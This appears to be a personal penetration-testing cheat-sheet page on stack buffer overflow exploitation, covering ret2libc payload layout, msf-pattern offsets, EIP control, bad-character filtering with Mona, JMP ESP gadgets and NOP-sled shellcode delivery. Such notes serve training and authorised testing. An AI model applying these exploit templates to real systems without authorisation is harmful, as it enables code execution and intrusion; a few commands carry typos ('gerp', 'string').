Buffer Overflow

Table of content


Standard Ret2Libc

'A' * buffer_size + system_address + exit_address + /bin/sh_address

The buffer size must be set in order to be able to control RIP. It can be easily found using GDB and pattern create.

The infosecwriteups article show how to do it.

With access to the machine

  • Get libc address : ldd ${executable}
  • Get libc's function offset : readelf -s ${libc} | gerp ${functionName}
  • Get libc's string offset : string -atx ${libc} | grep ${string}

The complete function address is : ${libcAddress} + ${functionOffset}


Pattern create

# Find the binary
locate pattern_create
# Generate the pattern
msf-pattern_create -l ${bufferSize}
# Find the offset from the value leaked on EIP
msf-pattern_offset -l ${initalPatternLength} -q ${patternFoundOnEIP}

Control EIP

The bytes set after the patternOffset will control EIP:

# Set 0x42424242 in EIP
buff = "A" * ${patternOffset} + "BBBB" + "C" * 16

Remove badchars


badchars = b"\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

send("A" * ${patternOffset} + badchars)

Verify in the stack if the values are correctly sent and remove values that are not exactly the same than the one expected.

For example :

badchars = "\x01\x02\x03\x04\x05\x06\x07\x08"
send("A" * ${patternOffset} + 'BBBB' + badchars)

# Stack state once the PE crashed :
# ESP + 0 : \x01 \x02 \x0A \x08 
# ESP + 8 : \x05 \x06 \x07 \x08
# \x03 is the first wrong value. \x03 is a badchars.
# Remove the badchar and do it again as long as all
# remaining chars are correctly stored.

Mona (Immunity Debugger)

Generate the bytearrays inital mona byte array :

!mona config -set workingfolder c:\mona\%p
!mona bytearray -b '${badcharsList}'
# !mona bytearray -b "\x00"

Once the program crash, use mona to detect badchars:

!mona compare -f C:\mona\${...}\bytearray.bin -a esp

Usually, if mona detect 2 consecutive byte as badchars, it is because the first one make the second glitch. Thus, keep the first one only.

For example, if mona find the following badchars :

\x00 \x07 \x08 \x0A \x0B

Keep only \x00, \x07 and \x0A as badchar and relaunch the process without these badchars as long as mona find other badchars.

Find jump point

The payload is stored in ESP. It is then required to replace the current EIP by a JMP ESP.

Mona can be used to find the gadjet address:

mona ! jmp -r esp -cpb "${badchars}"
# !mona jmp -r esp -cpb "\x00\x0a\x0d"

Keep the address in litlle endian and send the following payload to get rce :

send("A" * ${patternOffset} + ${jmpAddress} + ${shellcode})

It can be usefull to make a NOP sleeve :

send("A" * ${patternOffset} + ${jmpAddress} + "\x90" * 16 + ${shellcode})


results matching ""

    No results matching ""

    results matching ""

      No results matching ""